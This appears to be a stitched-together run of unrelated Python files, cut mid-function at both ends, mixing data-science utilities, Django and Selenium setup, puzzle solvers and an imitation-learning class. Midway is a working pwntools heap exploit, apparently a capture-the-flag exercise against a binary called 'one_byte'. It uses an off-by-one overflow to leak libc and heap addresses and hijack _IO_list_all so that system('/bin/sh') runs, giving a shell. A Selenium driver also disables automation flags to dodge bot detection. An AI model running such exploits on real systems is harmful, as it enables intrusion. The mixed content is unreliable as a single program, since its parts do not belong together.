    # Convert multi-categorical features to list of values as MultiHotEncoder expects it.
    for c in multi_categorical_features:
        df[c] = df[c].astype('str').apply(lambda r: [v.strip() for v in r.split(',')])

    # Create encoders/scalers for different types of features.
    numeric_transformer = StandardScaler()
    categorical_transformer = OneHotEncoder(handle_unknown='ignore')
    multi_categorical_transformer = MultiHotEncoder()

    # Combine all transformers into a preprocessor
    preprocessor = ColumnTransformer(
        transformers=[
            ('numerical', numeric_transformer, numeric_features),
            ('categorical', categorical_transformer, categorical_features),
            ('multi-categorical', multi_categorical_transformer, multi_categorical_features),
            ('binary', 'passthrough', binary_features)
        ]
    )

    # Preprocess data
    X = preprocessor.fit_transform(df)
    return X

def preprocess_dataframe_with_correspondence_analysis(dataframe: pd.DataFrame) -> np.array:
    """Preprocesses raw data into numerical features.
    """

    # Prepare for preprocessing
    df, feat_by_type = prepare_for_preprocessing(dataframe)

    # Separate different types of features.
    numeric_features = list(sorted(feat_by_type['float'] + feat_by_type['int32']))
    categorical_features = feat_by_type['category']
    multi_categorical_features = feat_by_type['multi-category']
    binary_features = feat_by_type['binary']

    # Sanity check!
    all_features = numeric_features + categorical_features + multi_categorical_features + binary_features
    assert 'category_name' not in all_features, 'Product category variable should not be present!'

    # Convert multi-categorical features to list of values as MultiHotEncoder expects it.
    for c in multi_categorical_features:
        df[c] = df[c].astype('str').apply(lambda r: [v.strip() for v in r.split(',')])

    # Create encoders/scalers for different types of features.
    one_hot_encoder = OneHotEncoder(handle_unknown='ignore', sparse=False)
    multihot_encoder = MultiHotEncoder()
    correspondence_analysis = CA(n_components=20)

    # Convert categorical variables into one-hot encoding.
    one_hot_transform = ColumnTransformer(
        transformers=[
            ('single', one_hot_encoder, categorical_features),
            ('multi', multihot_encoder, multi_categorical_features),
        ]
    )

    # Apply CA on the one-hot encoded categorical variables.
    categorical_processor = Pipeline(
        steps=[
            ('onehot', one_hot_transform),
            ('ca', correspondence_analysis)
        ]
    )

    # Transformer for numerical and binary variables.
    numerical_processor = ColumnTransformer(
        transformers=[
            ('numerical', StandardScaler(), numeric_features),
            ('binary', 'passthrough', binary_features)
        ]
    )

    # Combine all transformers into a preprocessor
    preprocessor = FeatureUnion(
        transformer_list=[
            ('numerical', numerical_processor),
            ('categorical', categorical_processor),
        ]
    )

    # Preprocess data
    X = preprocessor.fit_transform(df)
    return X

def plot_similarity_heatmap(X: np.array, metric: str='rbf', normalise: bool=False, title: str=None):
    metrics = {
        'rbf': rbf_kernel,
        'cosine': cosine_similarity,
    }
    metric_func = metrics[metric]
    similarity_matrix = metric_func(X)
    if normalise:
        similarity_matrix = (similarity_matrix - np.min(similarity_matrix)) / np.ptp(similarity_matrix)
    fig, ax = plt.subplots(figsize=(20, 18))
    sns.heatmap(similarity_matrix, cmap="PiYG", ax=ax)
    ax.set_title(title)

def group_clusters_per_category(dataframe: pd.DataFrame, attr_name: str='cluster'):
    df = dataframe.groupby([attr_name, 'category_name']).count()[['title']].reset_index()
    df = df.rename(columns={'title': 'n_rows'})
    df = df.sort_values([attr_name, 'n_rows'], ascending=[True, False])
    return df

def combined_similar_clusters(dataframe: pd.DataFrame):
    df = dataframe.copy()
    df_cluster_counts = group_clusters_per_category(dataframe)

    categories = df_cluster_counts.category_name.unique()
    clusters = df_cluster_counts.cluster.unique()
    category_cluster_map = {k: f"C{i}" for i,k in enumerate(categories)}

    for old_cluster in clusters:
        df_filtered = df_cluster_counts[df_cluster_counts.cluster == old_cluster]

        if len(df_filtered) == 1:
            # Find product category
            cat = df_filtered.iloc[0].category_name

            # Find new cluster assignment
            new_cluster_id = category_cluster_map[cat]

            # Reassign cluster
            df.loc[(df.cluster == old_cluster) & (df.category_name == cat), 'cluster'] = new_cluster_id

    df['new_label'] = df['cluster']
    df_cluster_counts = group_clusters_per_category(df)
    clusters = df_cluster_counts.cluster.unique()
    for old_cluster in clusters:
        df_filtered = df_cluster_counts[df_cluster_counts.cluster == old_cluster]
        cat = df_filtered.iloc[0].category_name
        new_cluster_id = category_cluster_map[cat]
        df.loc[(df.cluster == old_cluster), 'new_label'] = new_cluster_id

    df['pred_category'] = df['new_label']
    df_cluster_counts = group_clusters_per_category(df, attr_name='new_label')
    clusters = df_cluster_counts.new_label.unique()
    for old_cluster in clusters:
        df_filtered = df_cluster_counts[df_cluster_counts.new_label == old_cluster]
        pred_cat = df_filtered.iloc[0].category_name
        df.loc[(df.new_label == old_cluster), 'pred_category'] = pred_cat

    return df


import numpy as np
import matplotlib.pyplot as plt
# from sklearn import svm
import sklearn.metrics.pairwise
from sklearn.ensemble import GradientBoostingClassifier

np.random.seed(0)

n = 5000
batch_size = 100
X = np.random.random([n,2])
# cla = svm.SVC(kernel='rbf', gamma='auto', probability=True, tol=1e-8, class_weight='balanced')
cla = GradientBoostingClassifier()
#cla = svm.SVC(kernel='linear')
#cla2 = svm.SVC(kernel='linear')

def target_func(X):
    y = np.zeros(len(X))
    for i in range(len(y)):
        if (X[i,0]> 0.2 and X[i,1]>0.2) and (X[i,1]<0.7-X[i,0]):
            y[i] = 1
        elif (X[i,0]< 0.8 and X[i,1]<0.8) and (X[i,1]>1.3-X[i,0]):
            y[i] = 1
        else:
            y[i] = 0
    return y

def random_sampling(X, batch_size):
    selected_indices = np.random.permutation(len(X))
    return (selected_indices[:batch_size])

def plot_data(X, y):
    ax = plt.axes()
    ax.set_xlim([0,1])
    ax.set_ylim([0,1])
    plt.plot([0.2,0.5], [0.2,0.2], 'b-')
    plt.plot([0.2,0.2], [0.2,0.5], 'b-')
    plt.plot([0.2,0.5], [0.5,0.2], 'b-')

    plt.plot([0.8,0.5], [0.8,0.8], 'b-')
    plt.plot([0.8,0.8], [0.5,0.8], 'b-')
    plt.plot([0.8,0.5], [0.5,0.8], 'b-')

    for i in range(len(X)):
        if y[i] == 1:
            plt.plot(X[i,0], X[i,1], 'b.')
        else:
            plt.plot(X[i,0], X[i,1], 'g.')
    # ax.set_title("Model")
    plt.show()

def plot_data2(X, y, L, S):
    ax1 = plt.axes()
    ax1.set_xlim([0,1])
    ax1.set_ylim([0,1])

    for i in range(len(L)):
        if y[L][i] == 1:
            ax1.plot(X[L][i,0], X[L][i,1], 'b.')
        else:
            ax1.plot(X[L][i,0], X[L][i,1], 'g.')

    for i in range(len(S)):
        if y[S][i] == 1:
            ax1.plot(X[S][i,0], X[S][i,1], 'bo')
        else:
            ax1.plot(X[S][i,0], X[S][i,1], 'go')

    ax1.set_title("Labeling budget {0}".format(len(L)))

    plt.show()

def uncertainty_sampling(X):
    L = np.array([])
    U = np.arange(len(X))
    #plot_data(X, target_func(X))
    y =  target_func(X)
    while len(L) < len(X):
        print (len(L), len(X))
        if not L.any():
            L = random_sampling(U, batch_size)
            plot_data2(X, y, L, L)

        elif len(set(target_func(X[L]).tolist())) == 1:
            S = random_sampling(U, batch_size)
            L = np.concatenate((L,S))
            U = np.array(list(set(U.tolist()) - set(S.tolist())))
            plot_data2(X, y, L, S)
        else:
            cla.fit(X[L], target_func(X[L]))
            plot_data(X, cla.predict(X))

            #S = random_sampling(U, batch_size)

            certainty = 2*np.abs(0.5 - cla.predict_proba(X[U])[:,0])
            order = np.argsort(certainty)
            S = U[order[:batch_size]]
            L = np.concatenate((L,S))
            plot_data2(X, y, L ,S)
            U = np.array(list(set(U.tolist()) - set(S.tolist())))
            #print (cla.predict(X))

        #plot_data(X[L], target_func(X[L]))

def farthest_traversal(X):
    y =  target_func(X)

    L = np.array([np.random.randint(len(X))])
    U = np.arange(len(X))
    U = np.array(list(set(U.tolist()) - set(L.tolist())))
    S = np.array([])
    plot_data(X, target_func(X))
    dist_mat = sklearn.metrics.pairwise.euclidean_distances(X)
    print (dist_mat.shape)

    n_annotated = 1
    while len(L) < len(X):
        dist = np.zeros(len(U))

        for i in range(len(U)):
            dist[i] = np.min(dist_mat[U[i]][L])

        s = U[np.argmax(dist)]

        if S.any():
            S = np.array(S.tolist() +[s])
        else:
            S = np.array([s])

        L = np.array(L.tolist() +[s])
        U = np.array(list(set(U.tolist()) - set(S.tolist())))

        n_annotated += 1
        if n_annotated%batch_size == 0:
            plot_data2(X, y, L, S)
            S = np.array([])
            cla.fit(X[L], target_func(X[L]))
            plot_data(X, cla.predict(X))

def MFFT(X):
    #Mismatch-first farthest-traversal
    L = np.array([np.random.randint(len(X))])
    U = np.arange(len(X))
    U = np.array(list(set(U.tolist()) - set(L.tolist())))

    plot_data(X, target_func(X))
    dist_mat = sklearn.metrics.pairwise.euclidean_distances(X)
    print (dist_mat.shape)

    n_batch = 1
    while len(L) < len(X):
        if n_batch == 1:
            for i in range(batch_size -1):
                dist = np.zeros(len(U))
                for j in range(len(U)):
                    dist[j] = np.min(dist_mat[U[j]][L])
                s = U[np.argmax(dist)]

                L = np.array(L.tolist()+[s])

                U = np.array(list(set(U.tolist()) - set(L.tolist())))

            plot_data2(X, target_func(X), L, L)
            n_batch += 1

        else:
            cla.fit(X[L], target_func(X[L]))
            y1all = cla.predict(X)
            y1 = y1all[U]
            plot_data(X, y1all)

            y2 = nnp(X, L, U)
            M1 = U[np.where(np.abs(y1 - y2)==1)]
            M2 = np.array(list(set(U.tolist()) - set(M1.tolist())))

            S = np.array([])
            for i in range(batch_size):
                print (len(L), len(M1), len(M2))
                if len(M1) > 0:
                    dist = np.zeros(len(M1))
                    for j in range(len(M1)):
                        dist[j] = np.min(dist_mat[M1[j]][L])
                    s = M1[np.argmax(dist)]
                    M1 = np.array(list(set(M1.tolist()) - set(S.tolist())))
                else:
                    dist = np.zeros(len(M2))
                    for j in range(len(M2)):
                        dist[j] = np.min(dist_mat[M2[j]][L])
                    s = M2[np.argmax(dist)]
                    M2 = np.array(list(set(M2.tolist()) - set(S.tolist())))

                if S.any():
                    S = np.array(S.tolist() +[s])
                else:
                    S = np.array([s])

                L = np.array(L.tolist() +[s])

                U = np.array(list(set(U.tolist()) - set(S.tolist())))

            plot_data2(X, target_func(X), L, S)

def nnp(X, L, U):
    #Nearest-neighbour prediction
    dist_mat = sklearn.metrics.pairwise.euclidean_distances(X)
    y = target_func(X)
    y2 = np.zeros(len(U))
    for i in range(len(U)):
        nearest_neighbour = L[np.argmin(dist_mat[U[i]][L])]
        print (nearest_neighbour)
        y2[i] = y[nearest_neighbour]
    return y2

if __name__ == '__main__':
    uncertainty_sampling(X)

    #farthest_traversal(X)
    #MFFT(X)


import numpy as np

def loadFile(fileName):
    listBoard = []
    listNums = []
    ln = 0
    tempList = []
    with open(fileName) as fh:
        for line in fh:
            if (ln==0):
                listNums = list(map(int,line.split(',')))
            elif ((ln-1)%6==0 and ln>1): #Skip line 1, because temp is empty
                listBoard.append(tempList)
                tempList = []
            elif ((ln-1)%6!=0): # If there's text append to partial board
                parsedLine = line.split(' ')
                parsedLine = [t for t in parsedLine if t!=''] # Remove extra spaces
                tempList.append(list(map(int, parsedLine)))
            ln += 1

    listBoard.append(tempList) # The last board isn't appended bc there's no extra empty line

    return listBoard, listNums

###

checkBingo = lambda x: (True in np.all(x, axis=1)) or (True in np.all(x,axis=0))
xorFunc = lambda x,y: x ^ y

listBoard, listNums = loadFile('input.txt')
listBoard = np.array(listBoard)
listChecks = np.zeros(listBoard.shape)==True # array to keep track of bingos
bingoList = list(map(checkBingo, listChecks)) # initialize

for num in listNums:
    bingoList_previous = bingoList.copy()
    listChecks |= (listBoard==num) # Update check board with new number
    bingoList = list(map(checkBingo, listChecks))
    change = list(map(xorFunc, bingoList, bingoList_previous)) # the last that changed
    if True in change:
        winningNum = num
        winningBoard = np.squeeze( listBoard[change] )
        winningChecks = np.squeeze( listChecks[change] )

scoreUnmarked = np.sum( winningBoard[winningChecks==False] )
scoreTotal = scoreUnmarked * winningNum

print(scoreUnmarked, winningNum, scoreTotal)

# Another way to check if the bingo list has changed is comparing sums (the number of True's changes is the number of bingos changes. Using the current method one already has the index list for later, though.


from urllib.parse import urlencode, urlparse, parse_qs
import bs4 as bs
import urllib.request

from lxml.html import fromstring
from requests import get

toquery = input("Enter a research subject: ")

raw = get("https://www.google.com/search?q=" + toquery).text
page = fromstring(raw)

for result in page.cssselect(".r a"):
    url = result.get("href")
    if url.startswith("/url?"):
        url = parse_qs(urlparse(url).query)['q']
    src = urllib.request.urlopen(url[0]).read()
    soup = bs.BeautifulSoup(src, 'lxml')
    with open(toquery + ".txt", "a") as fh:
    	for paragraph in soup.find_all('p'):
    		fh.write(paragraph.text)


# File: project/apps.py
# Name: William De Rocco (wderocco@bu.edu)
# Description: file to configure app

from django.apps import AppConfig

class ProjectConfig(AppConfig):
    default_auto_field = 'django.db.models.BigAutoField'
    name = 'project'


from webdriver_manager.chrome import ChromeDriverManager
from selenium import webdriver
from config import HEADLESS, USE_SELNIUM_GRID, SELENIUM_GRID_URL
from utils.helpers import get_node_available

def get_chrome_driver():
    options = webdriver.ChromeOptions()
    options.add_argument(
        "user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) "
        "Chrome/107.0.0.0 Safari/537.36"
    )
    if HEADLESS:
        options.add_argument("-headless")
    options.add_argument("window-size=1920x1080")
    options.add_argument("--lang=en")
    options.add_argument("start-maximized")
    options.add_argument("-no-sandbox")
    options.add_argument("-disable-dev-shm-usage")
    options.add_argument("--disable-popup-blocking")
    options.add_argument("test-type")
    options.add_experimental_option(
        "excludeSwitches", ["ignore-certificate-errors"]
    )
    options.add_experimental_option("excludeSwitches", ["enable-automation"])
    options.add_experimental_option("useAutomationExtension", False)
    options.add_argument("--disable-blink-features=AutomationControlled")
    prefs = {}
    prefs["profile.default_content_settings.popups"] = 0
    prefs["download.prompt_for_download"] = False
    prefs["download.directory_upgrade"] = True
    prefs["plugins.always_open_pdf_externally"] = True
    prefs["profile.default_content_setting_values.automatic_downloads"] = 1
    # disable save creds :
    prefs["credentials_enable_service"] = False
    prefs["profile.password_manager_enabled"] = False
    # disable cookies
    prefs["profile.default_content_settings.cookies"] = 2

    if USE_SELNIUM_GRID:
        nodes = get_node_available(remote_url=SELENIUM_GRID_URL)
        if not nodes:
            raise Exception("Please Check if Selenium Grid is up or not, if it is up check availibality of nodes")

        driver = webdriver.Remote(command_executor=SELENIUM_GRID_URL, desired_capabilities={'browserName': 'chrome' , 'javascriptEnabled': True, 'goog:loggingPrefs':{'performance': 'ALL'}, 'se:vncEnabled': False}, options=options)

    else:
        driver = webdriver.Chrome(ChromeDriverManager().install(),
                                options=options)  # Relevant chromedriver should be in the working directory
    return driver


# -*- coding: utf-8 -*-
"""
Created on Mon Feb 21 16:32:04 2022

@author: Toyin
"""

# importing libraries used
import streamlit as st
import pandas as pd
import numpy as np
import sklearn
import pickle

# loading the pretrained model
model = pickle.load(open('model.sav', 'rb'))

# function to carry out the prediction
def prediction(data):
    data = np.array(data).reshape(1, -1)
    predicted_price = model.predict(data)
    return(predicted_price)

def main():
    st.title("Apple Stock Price Prediction")
    open_price = st.number_input('Open Price')
    high = st.number_input('High Price')
    low = st.number_input('Low Price')
    price = ''
    if st.button("Predict"):
        price = prediction([open_price, high, low])

    st.success(price)

if __name__ == '__main__':
    main()


#!/usr/bin/python3
from pwn import *

elf = context.binary = ELF("one_byte")
libc = ELF(elf.runpath + b"/libc.so.6") # elf.libc broke again

gs = '''
continue
'''
def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)

# Index of allocated chunks.
index = 0

# Select the "malloc" option.
# Returns chunk index.
def malloc():
    global index
    io.sendthen(b"> ", b"1")
    index += 1
    return index - 1

# Select the "free" option; send index.
def free(index):
    io.send(b"2")
    io.sendafter(b"index: ", f"{index}".encode())
    io.recvuntil(b"> ")

# Select the "edit" option; send index & data.
def edit(index, data):
    io.send(b"3")
    io.sendafter(b"index: ", f"{index}".encode())
    io.sendafter(b"data: ", data)
    io.recvuntil(b"> ")

# Select the "read" option; read 0x58 bytes.
def read(index):
    io.send(b"4")
    io.sendafter(b"index: ", f"{index}".encode())
    r = io.recv(0x58)
    io.recvuntil(b"> ")
    return r

io = start()
io.recvuntil(b"> ")
io.timeout = 0.1

# =============================================================================

# Request a chunk.
chunk_A = malloc()
chunk_B = malloc()
chunk_C = malloc()
chunk_D = malloc()
chunk_E = malloc() # Guard

# Edit chunk A.
edit(chunk_A, b"\xc1"*0x59)

# Free chunk B.
free(chunk_B)

# B now in unsorted bin
# remaindering process
chunk_B = malloc()

# Chunk C now holds fd and bk
leaked = read(chunk_C)
fd = u64(leaked[:8])
bk = u64(leaked[8:16])
info("fd: " + hex(fd))
info("bk: " + hex(bk))

# unsortedbin is + 88
libc.address = fd - 88 - libc.sym["main_arena"]
info(f"puts: {hex(libc.sym['puts'])}")

# fastbin dup, E will overlap with C
chunk_F = malloc()

free(chunk_A)
free(chunk_F)

leaked = read(chunk_C)
heap = u64(leaked[:8])
info(f"heapbase: {hex(heap)}")

# Reset heap state
chunk_F = malloc()
chunk_A = malloc()

# Off by one
edit(chunk_A, b"\xc1" * 0x59)

# Trigger remainder again
free(chunk_B)
chunk_B = malloc()

# Overwrite BK so it points to _IO_list_all
# Craft file stream in chunk C
fd = 0xdeadbeef
bk = libc.sym["_IO_list_all"] - 0x10
flags = b"/bin/sh\x00"
overflow = libc.sym["system"]
write_base = 1
write_ptr = 2
mode = 0
vtable_ptr = heap + 0x178

# smallbin b0 -> _IO_list_all chain chain
# edit(chunk_B, b"\x00"*0x50 + flags + b"\xb0")

# Set the 4th bit etc to pass exact fit
edit(chunk_B, b"\x00"*0x50 + flags + b"\x6f")

# Overwrite fd, bk and the base, ptr
payload = flat(
  fd,
  bk,
  write_base,
  write_ptr
)

edit(chunk_C, payload)

payload = flat(
  overflow,
  vtable_ptr
)

edit(chunk_E, payload)

# Trigger unsorted bin attack
chunk_G = malloc()
# =============================================================================

io.interactive()


from django.urls import path
from .views import index , login , signup ,cart
from .middlewares.auth import authMiddleware

urlpatterns = [
    path('' , index.Index.as_view()),
    # path('category/<categoryID>' , productByCategory)
    path('signup' , signup.Signup.as_view()),
    path('login' ,  login.Login.as_view()),
    path('logout' , login.Logout),
    # to add custom middleware to check whther the user is logged in or not.
    path('cart' , authMiddleware(cart.Cart.as_view()) ),
    path('checkout' , cart.Checkout.as_view()),
    # to add custom middleware to check whther the user is logged in or not.
    path('orders/' , authMiddleware(cart.OrderView.as_view()) ),
]


from z3 import *

a,b,c,d,e,f = Ints('a b c d e f')
s = Solver()
s.add(215*a + 275*b + 335*c + 355*d + 420*e + 580*f == 1505, a>=0, b>=0, c>=0, d>=0, e>=0, f>=0)

results=[]

# enumerate all possible solutions:
while True:
    if s.check() == sat:
        m = s.model()
        print (m)
        results.append(m)
        block = []
        for d in m:
            c=d()                   # a,b,c,d,e,f
            block.append(c != m[d]) # f != 0
        print(block)
        s.add(Or(block))          # new answer should be different than previous
    else:
        print ("results total=", len(results))
        break


import os
from setuptools import setup

# Helper function to load up readme as long description.
def read(fname):
    return open(os.path.join(os.path.dirname(__file__), fname)).read()

setup(
        name = 'sspspace',
        version = '0.1',
        author='Nicole S.Y. Dumont, P. Michael Furlong',
        author_email='ns2dumont@uwaterloo.ca, michael.furlong@uwaterloo.ca',
        description=('Algebraic Implementation of Spatial Semantic Pointers'),
        license = 'MIT',
        keywords = 'spatial semantic pointers, vector symbolic architecture',
        url='http://github.com/ctn-waterloo/sspspace',
        packages=['sspspace'],
        long_description=read('README.md'),
        classifiers=[
            'Development Status :: 2 - Pre-Alpha',
            'Programming Language :: Python :: 3',
            'Environment :: Console',
            'Topic :: Scientific/Engineering :: Artificial Intelligence'
            ],
        install_requires=[
            'numpy>=1.21.2',
            'scipy',
            'pytest',
            'mypy',
            'typing-extensions',
        ]
)


# 슬라임 합치기
from sys import stdin

N = int(stdin.readline().rstrip())
slime = sorted(list(map(int, stdin.readline().split())), reverse=True)

score = 0
for i in range(len(slime)-1):
    size = slime[i] + slime[i+1]
    score += slime[i] * slime[i+1]
    slime[i+1] = size

print(score)


import json
import datetime
import requests
import time
import secret

from requests.auth import HTTPBasicAuth

# some constants for search
URL_BASE = secret.query_url_base
AUTH = HTTPBasicAuth(secret.query_user, secret.query_pass)

class MatchText:
    def __init__(self, text, tokenize, stem, alias, delimiter):
        text = text.strip()
        self.use_tokens = tokenize
        self.use_stemming = stem
        self.use_aliases = alias
        self.text = text.split(delimiter) if alias else [text]
        self.delimiter = delimiter
        self._tok_texts = [t.split() for t in self.text] if tokenize else None

    def _make_match_phrase_list(self, phrases):
        analyzer = 'abstract.english' if self.use_stemming else 'abstract'
        ret = [{'match_phrase': {analyzer: p}} for p in phrases]
        return ret

    def make_match_bool(self):
        ret = None
        # if not using aliases, there's just one item (tokens or not)
        if not self.use_aliases:
            # grab either the single phrase as a list or the list of tokens
            phrases = self.text if not self.use_tokens else self._tok_texts[0]
            # this can just be a must list
            must = self._make_match_phrase_list(phrases)
            ret = {'bool': {'must': must}}
        # otherwise there is more than one string in the phrases
        else:
            # this will be a should match
            should = None
            # if no tokenization, it's a flat should across the aliases
            if not self.use_tokens:
                should = self._make_match_phrase_list(self.text)
            # otherwise it is a should across musts for the tokens
            else:
                should = []
                # make a must for each token list
                for tok_list in self._tok_texts:
                    must = self._make_match_phrase_list(tok_list)
                    should.append({'bool': {'must': must}})
            # wrap it up
            ret = {'bool': {'should': should}}
        # done
        return ret

    def get_name(self):
        # just give back the one name if not using aliases
        if not self.use_aliases:
            return self.text[0]
        # otherwise make a comma-separated-list
        return self.delimiter.join(self.text)

# this is the API version used for the web interface

def api_full_query(
        all_targets,
        key_phrase,
        through_year,
        sep_kp,
        stem_kp=False,
        sep_targ=False,
        stem_targ=False,
        alias=False,
        delim=','):
    # first make our keyphrase
    keyphrase_mt = MatchText(key_phrase, sep_kp, stem_kp, alias, delim)
    # and prepare all the target terms
    targ_list = [MatchText(t, sep_targ, stem_targ, alias, delim)
                 for t in all_targets]
    # we will return this as a dictionary stored somewhat compactly
    ret = dict()
    # compute the total number of articles in the database
    db_article_cnt = get_db_count(through_year, URL_BASE, AUTH)
    ret['db_article_cnt'] = db_article_cnt
    # and the number of times the key phrase shows up
    kp_cnt = get_kp_count(keyphrase_mt, through_year, URL_BASE, AUTH)
    ret['kp_cnt'] = kp_cnt
    # and do each target
    ret['target'] = list()
    ret['targ_cnt'] = list()
    ret['targ_with_kp_cnt'] = list()
    for targ_mt in targ_list:
        targ_cnt, targ_with_kp_cnt = get_targ_and_targkp_count(
            targ_mt, keyphrase_mt, through_year, URL_BASE, AUTH, kp_cnt=kp_cnt)
        ret['target'].append(targ_mt.get_name())
        ret['targ_cnt'].append(targ_cnt)
        ret['targ_with_kp_cnt'].append(targ_with_kp_cnt)
    return ret

def make_query_object(target_mt, keyphrase_mt, through_year):
    # build the constraint list first
    must = []
    # are we searching on a target term
    if target_mt is not None:
        must.append(target_mt.make_match_bool())
    # and key phrase
    if keyphrase_mt is not None:
        must.append(keyphrase_mt.make_match_bool())
    # always add the year constraint
    must.append({'range': {'publication_date.year': {'lte': through_year}}})
    query = {'query': {'bool': {'must': must}}}
    return query

def try_get(url, data, auth):
    timeout = 5.0
    backoff = 1.0
    max_backoff = 30.0
    res = None
    done = False
    while not done:
        # try to do the query
        try:
            res = requests.get(url, data=data, auth=auth, timeout=timeout)
        except (requests.ConnectionError, requests.HTTPError, requests.Timeout):
            # should do something more here, perhaps specific to each error
            pass
        # did we get a good response
        if res is not None and res.status_code == 200:
            done = True
        else:
            res = None
            # we didn't get what we wanted, so retry with a backoff
            backoff = min(backoff * 2.0, max_backoff)
            time.sleep(backoff)
    return res

def get_count(target_mt, keyphrase_mt, through_year, url_base, auth):
    # target term and/or key phrase may be None
    q = make_query_object(target_mt, keyphrase_mt, through_year)
    res = try_get(url_base, json.dumps(q), auth)
    ret_cnt = res.json()['count']
    return ret_cnt

def get_db_count(through_year, url_base, auth):
    return get_count(None, None, through_year, url_base, auth)

def get_kp_count(keyphrase_mt, through_year, url_base, auth):
    return get_count(None, keyphrase_mt, through_year, url_base, auth)

def get_targ_and_targkp_count(
        target_mt,
        keyphrase_mt,
        through_year,
        url_base,
        auth,
        kp_cnt=None):
    # we may get a kp_cnt to speed up querying or we should compute
    if kp_cnt is None:
        kp_cnt = get_kp_count(keyphrase_mt, through_year, url_base, auth)
    # default to 0 for the combined match
    targ_with_kp_cnt = 0
    # first the individual count
    targ_cnt = get_count(target_mt, None, through_year, url_base, auth)
    # only need to query combined if articles exist for both individually
    if targ_cnt > 0 and kp_cnt > 0:
        # now do both key phrase and target
        targ_with_kp_cnt = get_count(
            target_mt, keyphrase_mt, through_year, url_base, auth)
    return targ_cnt, targ_with_kp_cnt


from utils import *
import gym

class TIPS():
  def __init__(self, state_shape, action_shape, lr=0.001, maxEpisodes=40, epochTrainIts=5000, dynamicsSamples=5000, batch_size=32):
    # set initial value
    self.state_dim = state_shape            # state dimension
    self.action_dim = action_shape          # action dimension

    self.dynamicsSamples = dynamicsSamples  # number of samples to initially learn the dynamics
    self.lr = lr                            # model/policy learning rate
    self.epochTrainIts = epochTrainIts      # maximum training iterations every epoch
    self.batch_size = batch_size            # batch size

    self.ExpBuff  = []                      # Experience buffer for replay
    self.DemoBuff  = []                     # Demonstration buffer
    self.maxExpBuffSize = 20000             # Max Experience buffer size
    self.maxDemoBuffSize = 4000             # Max Demonstration buffer size

    self.maxEpisodes = maxEpisodes          # maximum episodes

    # initial session
    config = tf.ConfigProto()
    config.gpu_options.allow_growth = True
    self.sess = tf.Session(config=config)

    # set the input placeholder
    with tf.variable_scope("placeholder") as scope:
      self.state = tf.placeholder(tf.float32, [None, self.state_dim], name="state")
      self.nstate = tf.placeholder(tf.float32, [None, self.state_dim], name="next_state")
      self.action = tf.placeholder(tf.float32, [None, self.action_dim], name="action")

    # build policy model and forward dynamic model
    self.build_policy_model()
    self.build_fdm_model()

    # tensorboard output (TODO: Check if you really need tensorboard)
    #writer = tf.summary.FileWriter("logdir/", graph=self.sess.graph)

  def load_demonstration(self):
    """Load demonstration from the file"""
    if args.input_filename is None or not os.path.isfile(args.input_filename):
      raise Exception("input filename does not exist")

    with open(args.input_filename, 'rb') as f:
      expert_data = pickle.load(f)
      inputs = expert_data['observations']
      targets = expert_data['actions']

    num_samples = len(inputs)
    if(num_samples > 15000):
      inputs = inputs[0:15000]
      targets = targets[0:15000]
      num_samples = 15000
    print("[[[Loaded %d demonstrations]]]" % num_samples)

    return num_samples, inputs, targets

  def sample_demo(self, num_samples):
    """sample demonstration"""
    sample_ids = np.random.choice(self.demo_examples, num_samples)
    S = [ self.inputs[i] for i in sample_ids ]
    A = [ self.targets[i] for i in sample_ids ]
    return S, A

  def build_policy_model(self):
    """buliding the policy model as two fully connected layers with leaky relu"""
    raise NotImplementedError

  def build_fdm_model(self):
    """building the forward dynamic model as two fully connnected layers with leaky relu"""
    raise NotImplementedError

  def eval_policy(self, state):
    """get the action by current state"""
    return self.sess.run(self.policy_pred_action, feed_dict={
      self.state: state
    })

  def eval_fdm(self, state, action):
    """get the next state using the forwards dynamic model"""
    return self.sess.run(self.fdm_pred_state, feed_dict={
      self.state: state,
      self.action: action
    })

  def dynamics_sampling(self):
    """uniform sampling of actions to generate (s_t, s_t+1) and action pairs"""
    raise NotImplementedError

  def feedback_run(self):
    """run and train using D-COACH framework incorporating human feedback"""
    raise NotImplementedError

  def eval_rwd_policy(self):
    """getting the reward by current policy model"""
    raise NotImplementedError

  def update_policy(self, epochIts):
    """update policy model"""
    for it in range(1, epochIts+1):
      batch_s, batch_a =  self.sample_demo(self.batch_size)

      self.sess.run(self.policy_train_step, feed_dict={
      self.state : batch_s,
      self.action: batch_a
      })
      # Debug
      if it % 500 == 0:
        # Check policy loss on another data set.................
        S, A = self.sample_demo(int(round(self.demo_examples/10))) # 10% of the demo data

        policy_loss = self.get_policy_loss(S, A)
        print('Policy train: iteration: %5d, policy_loss: %8.6f' % (it, policy_loss))
        self.log_writer.write("Policy train: iteration: " + str(it) + ", policy_loss: " + format(policy_loss, '8.6f') + "\n")

  def update_policy_feedback(self):
    """update policy using labels from Demo Buffer"""
    num = len(self.DemoBuff)
    if(num >= self.batch_size):
      minibatch_ids = np.random.choice(len(self.DemoBuff), self.batch_size)
      batch_s = [self.DemoBuff[id][0] for id in minibatch_ids]
      batch_a = [self.DemoBuff[id][1] for id in minibatch_ids]

      self.sess.run(self.policy_train_step, feed_dict={
      self.state : batch_s,
      self.action: batch_a
      })

  def update_policy_feedback_immediate(self, state, action):
    """update policy using given label"""
    # Train single step
    self.sess.run(self.policy_train_step, feed_dict={
      self.state : state,
      self.action: action
      })

  def update_fdm(self, epochIts):
    """update forward dynamic model"""

    num = len(self.ExpBuff)
    if(num >= self.batch_size):
      for it in range(1, epochIts+1):
        minibatch_ids = np.random.choice(len(self.ExpBuff), self.batch_size)
        batch_s = [self.ExpBuff[id][0] for id in minibatch_ids]
        batch_ns = [self.ExpBuff[id][1] for id in minibatch_ids]
        batch_a = [self.ExpBuff[id][2] for id in minibatch_ids]
        self.sess.run(self.fdm_train_step, feed_dict={
          self.state : batch_s,
          self.nstate: batch_ns,
          self.action: batch_a
        })
        # Debug
        if it % 500 == 0:
          # Check fdm loss
          minibatch_ids = np.random.choice(len(self.ExpBuff), int(round( self.dynamicsSamples/10 )) ) # 10% of the dynamics data
          batch_s = [self.ExpBuff[id][0] for id in minibatch_ids]
          batch_ns = [self.ExpBuff[id][1] for id in minibatch_ids]
          batch_a = [self.ExpBuff[id][2] for id in minibatch_ids]

          fdm_loss = self.get_fdm_loss(batch_s, batch_ns, batch_a)
          print('FDM train: iteration: %5d, fdm_loss: %8.6f' % (it, fdm_loss))
          self.log_writer.write("FDM train: iteration: " + str(it) + ", fdm_loss: " + format(fdm_loss, '8.6f') + "\n")
    else:
